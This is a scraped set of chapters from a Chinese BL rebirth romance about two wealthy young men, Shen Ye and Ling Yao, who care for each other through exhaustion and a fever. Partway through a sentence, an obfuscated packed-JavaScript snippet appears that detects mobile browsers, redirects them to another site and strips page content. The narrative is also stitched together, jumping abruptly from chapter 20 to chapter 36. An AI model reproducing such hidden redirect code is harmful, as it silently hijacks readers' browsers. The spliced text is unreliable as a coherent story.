沈野扫了一眼那碗甜水,眉梢微挑,调侃道:“吃得挺香的嘛。” 凌曜不理,顺势把碗往床头柜一放,抬手揉了揉太阳穴,声音里带着几分撒娇似的倦:“药膏呢?你来帮我擦。” 沈野走过去,拉了把椅子坐下,从抽屉里摸出药膏,拆开盖子,动作慢条斯理。 “转过来。” 凌曜本来还想嘟着嘴抱怨几句,见他神情认真,还是乖乖歪过头去。 沈野用指腹蘸了点膏体,轻轻往他受伤的地方推开。药膏带着股薄荷清凉味,手指贴在皮肤上,温度适中,力道也不重。 凌曜起初还皱着眉,像是要再抱怨几句,可没撑多久,呼吸渐渐放缓。 沈野也察觉出来他的变化,原以为这人会嫌疼,可今天倒是没什么反应,整个人懒洋洋地倚在床头。 这会儿半眯着,像被抽走了精神,反应也比平时慢了半拍。 等差不多快结束时,沈野一低头,才发现这人眼睛已经慢慢阖上,睫毛在灯下投下一小片阴影。 他愣了下,没想到擦个药竟能让人睡过去。 手指顿住,他定睛看了几秒,才注意到凌曜眼下的青黑。 比想象中要重,像是连着几晚都没好好睡过。 沈野心里一动,动作下意识轻了几分。 他忍不住低头又看了眼凌曜额角的伤口。之前肿得厉害,现在药一抹上去,皮肤还是泛着红,不过比想象中浅。 只是靠近鬓角那一块,被磕得不轻,若不是林医生处理过,怕是真的要留印子。 沈野皱了皱眉,指腹轻轻摁了摁四周,确认没有渗血,这才放心。 他掏出手机,屏幕光在昏黄的灯下亮起。 犹豫片刻,沈野翻到一个很久没点开的联系人,发了条消息:【我擦了十分钟不到的药,凌曜居然睡着了。怎么回事,是不是生病了?】 这是郑叔。 沈野小时候有好几年都在凌家待着。 后来微信刚普及时,两人就加过,一直留在通讯录里。 没多久,对面就回了。 【少爷回来这段时间,时差一直没倒过来。白天撑着精神应酬,见朋友,参加酒局,晚上常常到三四点才睡。】 沈野指尖停了停,抬眼再看床上的人。 怪不得。 眼下那一圈青黑,不是一天两天熬出来的。 不过,他下意识皱了皱眉,心里有些诧异。 按理说,以太子的性格,倒时差这种事是最讲究舒服的,没睡好能折腾天翻地覆。可偏偏这次,他宁可困得黑眼圈挂脸上,也要在回来第一天组个生日局。 沈野靠在椅背上,盯着凌曜缓缓呼吸的样子,心里却有些不解。 他到底在急什么? 20. 第 20 章 凌曜睡得很沉,呼吸均匀下来,整个人懒洋洋地陷在床铺里,眉间那点常年的娇纵难训也跟着淡了。 沈野撑着下颌看了会儿,心里竟有点不习惯。 这个人平时嚣张跋扈,被宠坏了的少爷脾气,张口闭口全是命令,今天却像只被耗光力气的小兽,连和他打嘴仗都没有,乖乖睡过去了。 沈野抬手,把药膏和纱布收拾进盒子,动作刻意放轻。 他没立刻走,反而靠在床边椅子上,思考了一阵。 是凌家出了什么状况? 还是凌曜自己在急着往外刷存在感。 沈野思绪翻了好几圈。 手机屏幕又亮了一下,是郑叔补了一句:【沈少,您若今晚要走,能不能再缓一缓?少爷最近精神紧绷,常常惊醒,身边没人就更闹腾。您要是能多待一会儿,他肯定能睡安稳些。】 沈野盯着这行字,心里微微有点诧异。 郑叔怎么会让他帮这样的忙?家里又不是没有佣人。 不过转念一想,郑叔在凌家干了大半辈子,向来护着少爷。 以前郑叔对自己挺好的,既然开了口求自己,总不好回绝。 沈野抬眼看了眼床上安静的人,感觉安安分分的。 算了,就看在郑叔的面子上,多待会儿。 他心里盘算着,最晚十二点走,反正也就是再坐两个小时,不耽误什么。 于是拿起手机,准备联系孙潇桡,把赛车的局约好。 沈野眼神一转,点开了孙潇桡的头像。 【SY】: 周末有空没? 对面秒回:【没。】 沈野笑了一下,指尖飞快打字:【我可没说你能拒绝。】 孙潇桡那边很警惕,问:【……你干嘛?又要借我挡子弹?】 【SY】:【不是借,是请。陪我一起去玩车。】 孙潇桡那边懵逼了,问,你玩车不要美女,干嘛要我陪? 【SY】:【因为还有个疯子也要去。】 【SY】:你在我旁边,就是一个安全气囊,一盏高亮氛围灯,一条保命狗链。 【Sun_cold】: ???你再说我是狗链我就报警了。 沈野没搭理他,直接给他发了定位,是郊区新开的赛车场。 孙潇桡收到定位的瞬间,惊呆:“……你是疯了还是脑子瓦特了?” “你居然还让我陪你去赛车场?!” 沈野没搭理他,打字:【下午四点,不见不散。你要是不来,那位要是在副驾哭了,我把你户口本烧了陪葬。】 孙潇桡:“……” 所以那个人是谁啊。 而且他开始想象,万一真哭了呢,沈野真会把他户口本烧了吗? 不过,孙潇桡想到沈野身上那一身精壮的肌肉,又低头看了看自己的胳膊…… 好吧,确实打不过。 沈野看着屏幕,唇角勾了勾,眼神带点凉意的笑意。 正要锁屏,忽然听见床那头传来一声轻微的动静。 他下意识抬眼。 床上的人像是没睡稳,眉头紧蹙着,长睫轻颤。灯光落下来,衬得凌曜那张脸轮廓过分干净。 皮肤白得几乎透明,鼻梁笔直,唇色浅淡。睡梦里的他呼吸微乱,竟带着几分脆弱的漂亮。 沈野愣了愣,正想靠回去,忽然见他喉结微动,像是口渴,唇瓣张了张。 沈野皱了皱眉,拿起床头柜上的水杯,倒了半杯温水。 他走过去,半跪在床边,低声试探:“……要喝水吗?” 那人没睁眼,只下意识往他那边靠了靠。 沈野叹了口气,单手扶着凌曜肩膀,另一只手把水杯送到唇边。 水沿着杯口沾湿了唇角,凌曜含糊着喝了几口,眼皮还是没睁开。 沈野怕他呛着,只能一点点抬着杯子,像照顾小孩似的。 凌曜喝完水,就安安静静又睡过去了。 沈野放下水杯,目光还是没移开。 不知道为什么,他忽然觉得自己对凌曜的关注,比想象中要多。 他皱了皱眉,心里有些说不清的感觉。指尖还残留着刚才碰到那张冰凉皮肤的触感,像是被迫拽进了某种情绪里。 这让他不由自主想起上辈子的一个场景。 那时候,他因出差去加拿大。 十二月,雪下得正紧,街头热闹地在准备迎接圣诞节。 橱窗里挂着金线编织的花环,星星形的灯串一盏盏亮起,照得整个街道平静安宁。 他转身,看见对面一家面包房,外面挂着漂亮的花环,是松木与冬青堆成的。 迎面吹来一阵风,空气里混合着烤栗子与肉桂的香气,沈野缩了缩风衣领口,正打算跨过街口,去这家面包店看看。 耳边忽然传来一阵笑声。 是男男女女混在一起的喧哗,带着年轻人无所顾忌的快乐。 他下意识抬眼。 然后看见了凌曜。 那时的凌曜,和现在差不多大。 那人站在街灯下,身形修长,一件驼色呢大衣衬得肩背笔直。 指尖还夹着半支烟,黑发被风吹得微乱,眉眼像是被加拿大的冬天雕琢过的,漂亮又冷冽。 沈野挑眉,没想到他也在加拿大。他们上一次见面还是在凌曜生日的时候,距离这回也过了小半年。 沈野看着他,虽然两人已经不怎么联系,但碰上面了,打个招呼也挺好。 于是他准备上前。 凌曜身边簇拥着三两好友,男人女人都有。 其中一个混血长相的女孩最先发现沈野,可能因为两个人都是亚洲面孔吧,外加沈野的目光直直看着凌曜,就笑着扯了扯他的衣袖。 女孩回头瞥了沈野一眼,好奇问:“Who’s that guy? He’s staring at you.” 凌曜只是懒洋洋地耸耸肩,眼皮都没抬,语气带着惯有的冷意:“Don’t know him.” 雪正下得密,街灯把光晕拉长,照得他的睫毛上落了一层细白。凌曜指尖那半支烟随手一弹,落在雪地里,火星瞬间熄灭。 然后像是嫌多留一秒都累赘似的,他抬脚往前走,把身边那群人也顺势带走了。 沈野原本迈出去的脚步顿了顿。 眉梢挑起一瞬,只当又是太子喜怒无常,耍脾气了。 他最终没追上去,只是把手插进口袋里,站在街口望了他们一眼。 笑声很快被雪雾裹走,像什么都没发生过。 他离开的步伐变得很慢。 其实就在不远处,被灯火映得发亮的橱窗玻璃上,凌曜眼神掠过一瞬的停顿。 只是那目光太快,被雪幕给遮住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779280|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 沈野回神时,目光重新落到床上的人。 灯光昏暖,凌曜呼吸绵长。 眼下的一点黑眼圈很是突兀,不过也增加了颓废的意思。 沈野心底不由自主涌出一丝闷意。 他哼笑一声,抬手,指尖顺着脸颊一捏。 “装什么高冷。” 谁知,他以为自己轻轻的,其实手劲不小。 本该睡沉的人,眉头微微一动,像是被惊扰。 凌曜睫毛颤了颤,迷迷糊糊睁开一条缝,眼神先是涣散地飘了两秒,才慢慢聚焦到眼前的人身上。 沈野:“……” 他尴尬了一瞬,像被捉到现行了。 沈野心里正想收回手,打算悄无声息离开。 可就在他起身那一瞬,手腕猛地被扣住。 力道大得惊人。 他连一个字都还没骂出来,整个人就被猛地拽离了椅子。 下一秒,重心彻底失控。 “——嘶!” 沈野整个人直接往前扑,膝盖险些磕到床沿,手臂本能撑了一下,却还是被硬生生拖进了被褥里。 那动作没有任何停顿。 凌曜在半睡半醒间,居然下意识一个翻身,把他整个扣在怀里,姿势熟练得像是已经演练过千百次。 沈野胸口被迫撞在对方身上,喉咙里被震出一声闷响。 一阵天旋地转之后,他愣了几秒,才意识到自己被紧紧困住。 凌曜的手臂环在他腰上,另一只甚至扣在他后颈,像是要把猎物彻底摁进怀里,力气大得离谱。 沈野呼吸一窒。 很快又发现一个问题。他和凌曜近得过分。 那股温度灼灼透过衣料,胸膛起伏的频率清晰得几乎能数。更糟糕的是,某种本能的触感,在近乎贴合的姿势下被放大到让人不自在。 沈野喉结猛地滚了下。 鼻尖擦过那片温热的肌肤,他甚至捕捉到凌曜身上隐约的香气,那是淡淡的雪松与百合混合,暧昧得要命。 而凌曜睡得懵懵,毫不客气地继续往他身上蹭,还不讲理地硬塞进他怀抱之间,像认定他是个大型抱枕,死活不撒手。 沈野:“……” 理智在警告他推开,可他试着推了推,没把人推动。 他的肩胛被对方压得死死的,手臂被箍在胸口之间,沈野心跳得有点乱,低声咒骂了一句:“……妈的,疯子。” 沈野咬了咬牙,心里一万个不愿意,还是再度尝试去推开。 可手掌刚挪上去,凌曜眉心猛地一皱。 他像是被惊扰,又像是本能防御,沈野这么一推,他反而把人抱得更紧了。 手臂勒得死死,仿佛要把他整个人都揉进骨血里,连腿也下意识收拢,缠得更实。 沈野呼吸猛地一滞。 那个地方,被逼近到几乎没有缝隙。 本来那边的温度就偏高,现在这股热意透过布料,烫得他心跳骤然失控。 很快,沈野瞳孔猛地一缩。 发生了更糟糕的事情。 这种极近的身体摩擦,让男人间最每文感的反应被迫一点点撬开,理智在脑子里警铃大作,身体像被点燃了某个开关。 一下子不自在起来。 沈野下意识绷紧了肌肉,连呼吸都变得急促,可是都比不上血液往下涌的速度。 35-40 第36章 孙潇桡最近很焦虑, 焦虑得连新提的帕加尼都懒得开了。 他爹不知道抽了什么风,突然把他塞进集团新成立的电商部,美其名曰“历练”, 实则就是让他收心。 可收心这事儿,跟孙潇桡的人生信条压根不沾边。 他这人,在正儿八经的生意经上或许缺根弦,但在交际应酬、打通人脉方面, 却是天生的好手。 用沈野私下评价的话说,孙潇桡的舞台, 在觥筹交错之间,在人情往来之中。 他琢磨着, 要想在这新地盘快速打开局面, 光靠自家那点资源不够看,还得攀上凌云集团这棵参天大树。 而攀上凌云最好的纽带, 自然是那位说一不二的太子爷——凌曜。 虽然凌曜确实有时候不太待见他吧,但两人也是从小便认识。 再说了, 他爸还在凌云的子公司当老总呢, 他和凌曜接触的机会, 也比一般人多。 可凌曜最近不知道怎么了,约了三次, 次次被拒。 电话是管家郑叔接的, 语气客气又疏离:“抱歉孙少, 小少爷最近心情不佳, 不见客。” 心情不佳? 孙潇桡挠头, 太子爷还能为什么心情不佳? 钱多得花不完? 家业大得吓死人? 他要是有凌曜那投胎技术,他能天天笑得后槽牙都晒太阳! 没办法,正面强攻不行, 孙潇桡只好启动他最擅长的迂回战术,去找了凌曜他表哥,肖展颜。 肖展颜在自家马场接待的他,可这位向来阳光开朗、对表弟有求必应的凌家表哥,此刻也是愁眉苦脸。 他对着匹油光水滑的纯血马唉声叹气,连最喜欢的马都提不起劲头伺候了。 “老孙啊,不是我不帮你,”肖展颜揉着眉心,“曜曜最近不知道怎么回事,阴晴不定的,我都快被他冻伤了。问他什么也不说,就整天沉着一张脸,在他那房间里窝着,谁去触霉头谁倒霉。” 孙潇桡更纳闷了:“颜哥,这我就更不明白了!太子爷还有什么不高兴的?他要是还不高兴,我们这些人直接跳楼算了!” 肖展颜叹了口气,眼神里全是心疼和无奈:“唉,你不懂。曜曜那孩子,心思重……他要不高兴,天上掉钻石他都嫌硌脚。” 神戳戳的。 孙潇桡心里翻了个白眼,觉得这太子爷真是被惯得没边了。 但他面上不显,反而凑近一步,压低声音:“颜哥,你是他亲表哥,最疼他了,就不能想想办法?而且让他怎么窝着难道是对的?我们去逗他开心呗,给他讲讲笑话!” 肖展颜犹豫了一下,架不住孙潇桡软磨硬泡,最终还是心软了,给凌曜去了个电话,好说歹说,才换来那边一声极其不耐烦的:“我不在宅子里,在公寓。那你带他上来吧。” 孙潇桡如蒙大赦,屁颠屁颠上了顶层的公寓。 公寓极大,极空,冷色调的装修,透着一种不近人情的奢华。 凌曜没开主灯,只留了角落一盏落地灯,他整个人陷在阴影处的沙发里,穿着件丝质黑衬衫,领口松了两颗,露出一段冷白的锁骨。 指间夹着支细长的烟,却没抽,任由烟灰积了长长一截。 他精致得过分的侧脸对着门口,线条绷得极紧,下颌线清晰锐利,浑身散发着别惹我的低气压。 孙潇桡咽了口唾沫,堆起笑脸,乐观地开口:“嘿嘿,曜哥……” 凌曜眼皮都没抬一下。 孙潇桡唠了会家常,开始说他的跨境供应链宏图。 只是说得口干舌燥,那边却一点反应都没有。 他有点急了,忍不住加了句:“曜哥,这项目真的前景大好!比江乐君家那个塌房的破男团靠谱多了!” 他本意是想拉踩一下对家,凸显自己项目的优越性。 谁知,“江乐君”这三个字像是一颗火星,瞬间点燃了炸药桶。 凌曜猛地转过头,眼神又冷又戾,像是淬了冰的刀子,直直扎向孙潇桡。 他没说话,但孙潇桡感觉周围的空气都瞬间降到了冰点。 下一秒,凌曜抄起手边一个水晶烟灰缸,看都没看,直接朝着孙潇桡的方向砸了过来! “我靠!”孙潇桡吓得魂飞魄散,好在烟灰缸是冲着他脚边来的,“哐当”一声脆响,在他昂贵的限量版球鞋前炸开,水晶碎片和烟灰溅了一地。 孙潇桡心跳差点停摆,脸都白了:“曜、曜哥……我、我说错什么了?” 凌曜盯着他,胸口微微起伏,眼神里的戾气慢慢压下去,取而代之的是一种更深沉的烦躁和…… 某种孙潇桡看不懂的,像是被戳中了心事的恼怒。 他狠狠吸了口烟,顶着一张漂亮到近乎妖孽的脸,哑着嗓子骂了句:“滚。” 孙潇桡两腿发软,但又不敢真滚,项目还没谈呢! 他哭丧着脸,试图挽回:“曜哥,我错了!我不该提江乐君家那破事!但、但我这项目真不一样!昨天我还听江乐君说,他昨天跟沈野吃饭的时候还聊起……” “沈野”两个字出口的瞬间,孙潇桡明显感觉到,沙发上的凌曜身体几不可查地僵了一下。 一直没什么大反应的凌曜,忽然缓缓地、缓缓地转过头,目光精准地锁定了他。 那双漂亮得过分的眼睛里,之前的暴戾和烦躁像潮水般退去,取而代之的是一种极其复杂的情绪,像是黑暗中突然亮起一簇微弱的火苗,带着点不易察觉的期待。 “……江乐君,”凌曜开口,声音比刚才更哑了,带着一种刻意压抑的平静,“和沈野吃饭?” 孙潇桡完全没意识到自己触动了哪根弦,见凌曜终于有反应了,连忙点头如捣蒜:“对啊对啊!就昨天!江乐君那小子,自家后院起火还有心情约饭,不过他说沈野看起来状态也不太好,好像有点累……” 他自顾自地说着,没注意到凌曜在听到“状态不太好”、“有点累”时,搭在沙发扶手上的手指,微微收紧了一下。 孙潇桡为了证明自己消息灵通,又补充道:“我最近不是搞电商嘛,跟江乐君联系比较多,他那边渠道……呃……” 他话没说完,因为凌曜已经收回了目光,重新看向窗外漆黑的夜色,只留给他一个冷硬的侧影。 但孙潇桡明显感觉到,周围那种冻死人的低气压,似乎消散了一点? 凌曜沉默了很久,久到孙潇桡又开始头皮发麻。 终于,他极其不耐烦地、带着一股挥之不去的躁意开口,声音低得几乎像自言自语:“……他怎么了。” “啊?谁?”孙潇桡一时没反应过来。 凌曜猛地转过头,眼神里那点刚压下去的娇纵的戾气又冒了出来,翻个白眼道:“废话,还能有谁!” 孙潇桡这才恍然大悟,原来是问沈野! 他挠挠头,一脸茫然:“沈野?没、没怎么啊?就……江乐君说他好像有点着凉了?不过应该没事吧,看着还行……” 凌曜没再说话,只是拿起手机,手指在屏幕上快速划动了几下,眉头拧得更紧,然后烦躁地把手机扔回沙发上。 他闭上眼,靠在沙发里,整个人像是被抽走了力气,又像是被更深的烦躁包裹。 孙潇桡站在一地狼藉中,走也不是,留也不是,彻底懵了。 这太子爷的心思,真是比女人的脸还难懂!一会儿要打要杀,一会儿又莫名其妙问起沈野? 他偷偷瞄了一眼凌曜,只见对方紧抿着唇,长睫低垂,在苍白的脸颊上投下淡淡的阴影,那枚精致的钻石耳钉在昏暗光线下闪着微光,竟让他看出了一点…… 落寞和担心的意味? 孙潇桡被自己这个念头吓了一跳。 不可能!太子爷会担心人? 还是担心沈野?他俩不是一向王不见王,见面就互怼吗? 这世界真是越来越魔幻了。 孙潇桡站在一地狼藉中,看着沙发上那位阴晴不定的太子爷,眼珠子滴溜溜一转,心里忽然冒出个大胆的念头。 他猛地一拍大腿,语气夸张地嚷道: “哎哟!你这么一说,我还真有点担心沈野了!他那人你知道的,平时跟铁打的一样,几年都不见生一回病!可越是这种平时不生病的人,一旦病起来才吓人呢!别是真出什么问题了吧?” 他一边说,一边偷偷观察凌曜的反应。 只见凌曜依旧闭着眼,靠在沙发里,没什么表情,但搭在扶手上的手指,几不可查地蜷缩了一下。 卧槽卧槽! 孙潇桡心里一喜,赶紧趁热打铁:“不行不行,我得打个电话问问!别真严重了没人知道!” 说着,他就掏出手机,翻找沈野的号码,嘴里还不停嘀咕,“这人要强得很,病了肯定硬扛,不会主动说的……” 凌曜依旧没睁眼,也没出声阻止,只是原本随意搭着的手,默默移到了身边,将指间那支快要燃尽的烟,悄无声息地摁熄在了烟灰缸里。 整个动作轻缓得几乎没有声音,仿佛怕惊扰了什么。 孙潇桡心中大定,立刻拨通了沈野的电话。 听筒里“嘟——嘟——”的声音在寂静的公寓里显得格外清晰,响了七八声,就在孙潇桡以为没人接要自动挂断时,电话终于被接起了。 “喂……?” 电话那头传来沈野的声音,低沉沙哑,带着浓重的鼻音,听起来有气无力,像是从很远的地方飘来。 “喂!沈野!是我,孙潇桡!”孙潇桡赶紧大声说,故意让声音充满活力,以作对比,“你没事吧?听着声音不对啊!昨天不还好好的吗?” “……没事。”沈野的声音顿了顿,似乎在努力集中精神,“有点感冒……睡一觉就好。有事?” “真没事啊?”孙潇桡不放心地追问,“听着可不像有点感冒!你吃药了没?看医生了没?一个人在家?” 电话那头传来一阵压抑的咳嗽声,随后是沈野略带不耐的喘息:“……嗯。吃了。一个人。你……到底什么事?” 孙潇桡还想再问,一直闭目养神的凌曜忽然极其不耐烦地啧了一声,猛地睁开眼,那双漂亮的眸子里满是躁郁,哑着嗓子命令道:“开免提呀!” 孙潇桡被这突如其来的命令吓了一跳,手忙脚乱地按下了免提键。 顿时,沈野略显虚弱和烦躁的声音清晰地回荡在空旷的客厅里:“……孙潇桡?你那边什么声音?没事我挂了,头疼。” 这声音,比刚才隔着听筒更加清晰地透出一种病中的疲惫和不适。 凌曜的眉头瞬间拧成了一个结,他死死地盯着孙潇桡手中的手机,眼神锐利得像要穿透过去看到另一边的人。 他紧抿着唇,下颌线绷得紧紧的,刚才那股慵懒烦躁的气息一扫而空,取而代之的是一种全神贯注的紧张。 孙潇桡看着凌曜的反应,心里咯噔一下,彻底明白了。 他赶紧对着手机说:“别别别挂!我……我这不是担心你嘛!你真没事?声音听着可太不对劲了!要不要我过去看看你?或者帮你叫个医生?” “……不用。”沈野的声音带着明显的抗拒和疲惫,“我睡一觉就行。你别来吵我……挂了。” 说完,不等孙潇桡再开口,电话就□□脆利落地挂断了。 忙音“嘟嘟嘟”地响起来,在突然陷入死寂的公寓里显得格外刺耳。 孙潇桡举着手机,有点尴尬地看向凌曜。 凌曜的脸色阴沉得能滴出水来。 他猛地从沙发上站起身,动作快得带起一阵风。 他看也没看孙潇桡一眼,径直走到衣帽架前,扯下一件黑色外套胡乱套在身上,声音冷硬地丢下一句: “你商业计划不错,我投了。现在你给我滚。” 说完,他甚至没等孙潇桡反应,就大步流星地走向门口。 孙潇桡站在原地,看着凌曜消失的背影,又低头看了看地上碎裂的水晶烟灰缸,半晌,才喃喃自语道: “我靠……真去啊?” 电光火石间,孙潇桡脑子里某根线忽然被接通了! 他好像发现了一个不得了的秘密。 说出去,可能会被灭口的那种。 第37章 电话被挂断后, 凌曜在原地僵立了几秒,孙潇桡那些咋咋呼呼的声音还在耳边回响。 “……平时不生病的人病起来才吓人”、“别是真出问题了”。 他猛地转身,甚至没理会身后孙潇桡“哎曜哥你去哪儿”的叫喊, 抓起车钥匙就冲进了电梯。 指尖按向负一层停车场时,带着一丝不易察觉的轻颤。 车子疾驰在夜色中,凌曜紧抿着唇,下颌线绷得像刀锋。 他不断重播着刚才电话里沈野那沙哑、虚弱、带着浓重鼻音的声音, 还有最后那声压抑的咳嗽。 “没事”、“睡一觉就好”,这种逞强的话, 他听了太多次了! 冲到沈野家门口,凌曜直接用之前沈野给他的备用密码开了锁。 玄关一片漆黑, 只有卧室方向透出一点微弱的光。空气中弥漫着一种不祥的寂静。 他快步走进卧室, 心猛地一沉。 沈野蜷缩在床上,被子只盖到腰间。 眉头紧锁, 脸颊是不正常的潮红,嘴唇干裂, 呼吸急促而沉重。 床头柜上放着半杯水, 旁边根本没有药片的影子。 凌曜伸手探向他的额头, 触手一片滚烫! 温度一定高得吓人。 “沈野!”他拍了拍沈野的脸颊,声音带着自己都没察觉的焦灼, “醒醒!你发烧了, 得吃药!” 沈野毫无反应, 只是在触碰下发出模糊不清的呓语, 显然已经烧得失去了意识。 凌曜低低咒骂了一声, 立刻转身去找医药箱,动作麻利地找出退烧药,又去厨房倒了温水。他扶起沈野, 让他靠在自己怀里,试图喂药。 但沈野牙关紧咬,水根本喂不进去,顺着嘴角流了下来,浸湿了凌曜的衬衫。 凌曜看着怀里的人,那张平时冷硬锋利,写满生人勿近的脸,此刻因为高热而泛着脆弱的红晕。 长睫湿漉漉地黏在眼下,紧抿的唇瓣也呈现出一种诱人的、饱满的绯色。 一种复杂的情绪狠狠攫住了凌曜的心脏。 他不再犹豫,仰头将药片含在自己口中,喝了一口水,然后俯下身,准确地覆上了沈野那两片滚烫而干燥的唇。 这是一个不带任何情欲色彩,却充满了占有的吻。 他用舌尖顶开沈野无意识紧闭的牙关,将药片和水渡了过去,确保他咽下后,才缓缓退开。 做完这一切,凌曜的耳根后知后觉地泛起一层薄红,但他此刻顾不上了。 他用湿毛巾仔细地擦拭沈野额头的汗,脖颈,甚至解开他睡衣最上面的两颗扣子,帮助散热。 整个过程中,他的动作带着一种近乎虔诚的专注和小心翼翼。 做完一切后,凌曜才发现自己的手在发抖。 这种恐惧来源,他不愿回忆。 他已经见证过一次沈野的离去。 早已不想再看见第二次了—— 沈野觉得自己在燃烧。意识像一艘在惊涛骇浪中颠簸的小船,时而沉入漆黑的深海,时而又被抛上灼热的火山中。 在混乱的梦境碎片里,他好像又回到了那个冰冷寂静的殡仪馆,灵魂飘荡在空中。 然后,画面一闪,是加拿大那个大雪纷飞的夜晚,凌曜冷漠地说“Don’t know him”…… 就在他快要被这种冰火两重天的折磨吞噬时,一股清凉的气息靠近了他。 很熟悉,带着雪松和一点淡淡的,凌曜特有的冷冽香气。 他费力地掀开沉重的眼皮,视线模糊不清。 朦胧的光晕里,他看到一张脸凑得极近。 那张脸……漂亮得不像凡人。 肌肤冷白,五官精致得如同古画中走出的神祇,眉眼间却带着一种真实的担忧。 一双总是盛着娇纵和傲气的眼睛,此刻正一眨不眨地看着他,里面翻涌着他看不懂的深沉情绪。 ……我又死了吗? 还是说,这次重生,根本就是死前的一场大梦? 现在梦醒了,所以……来到天堂了? 不然,怎么会看到这么……不真实的存在? 他迷迷糊糊地想着,下意识地,用滚烫的指尖,轻轻碰了碰近在咫尺的那张脸。触感微凉,细腻真实。 “……凌……曜?”他沙哑地、不确定地吐出两个字,气息微弱。 听到自己的名字,凌曜的身体明显僵了一下。 他握住沈野那只不安分的手,掌心滚烫的温度让他心头一紧。 他把那只手轻轻塞回被子里,声音低沉沙哑,带着一种强装出来的镇定:“嗯。是我。你发烧了,别乱动。” 沈野似乎听懂了,又似乎没懂。 他只觉得身边这个幻影让他莫名安心,那股清冽的气息能稍稍缓解他身体的灼痛。 他像寻求热源的小动物一样,无意识地朝着凌曜的方向蹭了蹭,发出满足的、细微的哼唧声。 凌曜的呼吸瞬间一滞。 他看着沈野此刻毫无防备的样子,冷硬的线条被病弱软化,脸颊绯红,唇色艳丽。 平日里那个锋利冷酷的哥哥,此刻竟透出一种惊心动魄的、易碎的美感。 这种强烈的反差,狠狠挠在凌曜的心尖上。 他喉结滚动,眸色暗沉,某种压抑已久的情感几乎要破笼而出。 他深吸一口气,强行压下翻腾的心绪,只是用指腹极其轻柔地擦过沈野滚烫的唇角,拭去刚才喂药时留下的水痕。 动作间,充满了克制又汹涌的占有欲。 “睡吧。”凌曜的声音低得近乎耳语,带着一种自己都未察觉的温柔和承诺,“我在这儿。” 沈野仿佛听到了这句安抚,紧绷的身体渐渐放松下来,呼吸也变得平稳了一些,再次沉入昏睡。 只是这一次,他的眉头似乎舒展了些许。 凌曜就坐在床边,一动不动地守着。 夜色渐深,窗外万籁俱寂,只有床上人偶尔发出的细微呼吸声和呓语。 他看着沈野的睡颜,眼神复杂。 他知道,等沈野明天醒来,或许又会变回那个拒人于千里之外的冷硬模样。 但至少此刻,这个人是需要他的,是脆弱地、真实地躺在他的视线里。 这就够了—— 第二天清晨,阳光透过窗帘缝隙,在沈野眼皮上跳跃。 他艰难地睁开眼,感觉像是被重型卡车碾过一样,浑身酸痛无力,但那股灼烧般的高热已经退去,只剩下一种虚脱后的疲惫。 意识回笼的瞬间,他猛地想起昨夜光怪陆离的梦境。 那个漂亮得不真实的天使。 沈野下意识地侧过头,然后整个人僵住了。 凌曜就坐在床边的扶手椅上,身上还穿着昨天那件丝质黑衬衫,只是领口皱巴巴的,最上面两颗扣子敞开着,露出精致的锁骨。 他歪着头,似乎睡着了,长而密的睫毛在白皙的脸上投下淡淡的阴影,眼下有着明显的青黑。 晨光勾勒着他完美的侧脸线条,安静的样子,确实像个天使。 但下一秒,沈野的目光扫过床头柜——上面放着水杯、退烧药、体温计,还有一块叠得方方正正、半干的湿毛巾。 所以昨晚,难道不是梦? 沈野的心跳漏了一拍,一种极其荒谬的感觉涌上心头。 凌曜? 照顾了他一夜? 就在这时,椅子上的人动了一下,浓密的睫毛颤了颤,缓缓睁开了眼睛。 那双漂亮的眸子初时还有些迷蒙,但在对上沈野视线的一刹那,瞬间恢复了清明,紧接着,一种熟悉的的神情迅速浮现。 凌曜皱了皱鼻子,像是极度不适地活动了一下脖颈,发出细微的抱怨声,先发制人地开口,语气带着刚睡醒的沙哑和浓浓的委屈: “看什么看?沈野你知不知道你昨晚差点烧死?” 沈野张了张嘴,一时不知该说什么。 见沈野不说话,凌曜有些不自然地移开视线,噘起了嘴,声音拔高,带着理直气壮的娇气: “你那是什么眼神?难道是我自己想来的吗?是你!是你自己一直喊我的名字!喊得那么可怜,孙潇桡打电话给我,说我再不来你就要不行了!” 他越说越气,甚至抬手揉了揉自己的腰,抱怨道,“我守了你一整夜!都没怎么合眼!这椅子硬死了,睡得我浑身都疼!你倒好,睡醒了就翻脸不认人?” 沈野愣住了:“我……喊你的名字?” 他完全没印象。 “不然呢?”凌曜白了他一眼,眼神闪烁了一下,但很快又理直气壮地瞪回来,“吵死了,一遍遍地喊‘凌曜’、‘凌曜’……烦都烦死了!我能见死不救吗?” 他哼了一声,偏过头去,露出线条优美的下颌和微微发红的耳尖,小声嘟囔,“早知道让你自生自灭算了,好心没好报……” 这一连串的抱怨和倒打一耙,成功地把沈野弄懵了。 他努力回想,却只记得一些模糊的碎片,难道他烧糊涂的时候,真的喊了凌曜的名字? 看着凌曜那一脸“我牺牲巨大你还敢质疑”的骄纵模样,再结合自己此刻确实退烧了的事实,沈野心里那点怀疑和荒谬感,渐渐被一种复杂的情绪取代。 或许……真是自己烧糊涂了? 凌曜虽然脾气坏,但确实也没那么冷血。 他看着凌曜眼下的青黑和微红的耳根,心里某处微微松动,声音沙哑地开口:“……谢谢。” 凌曜闻言,身体几不可查地僵了一下,随即像是被踩了尾巴的猫,猛地转回头,恶声恶气地说:“谢什么谢!谁要你谢了!” 但他泛红的耳廓却更明显了。 凌曜站起身,动作有些匆忙地整理了一下根本抚不平的衬衫褶皱,语气硬邦邦地说:“你没事我就走了!困死了,要回去补觉!” 说完,几乎不敢再看沈野,逃也似的大步朝门口走去。 凌曜离开后,房间里骤然安静下来。 沈野靠在床头,疲惫地揉了揉太阳穴,高烧退去后的虚脱感阵阵袭来,喉咙干得冒烟。 他下意识地舔了舔嘴唇,想缓解一下干燥。 “嘶——!” 舌尖刚碰到下唇,一阵尖锐的刺痛猛地传来,疼得他倒抽一口冷气。 沈野瞬间清醒了大半,疑惑地用手指轻轻摸了摸嘴唇。 果然,在下唇正中央,明显有一小块皮破了,一碰就火辣辣地疼。 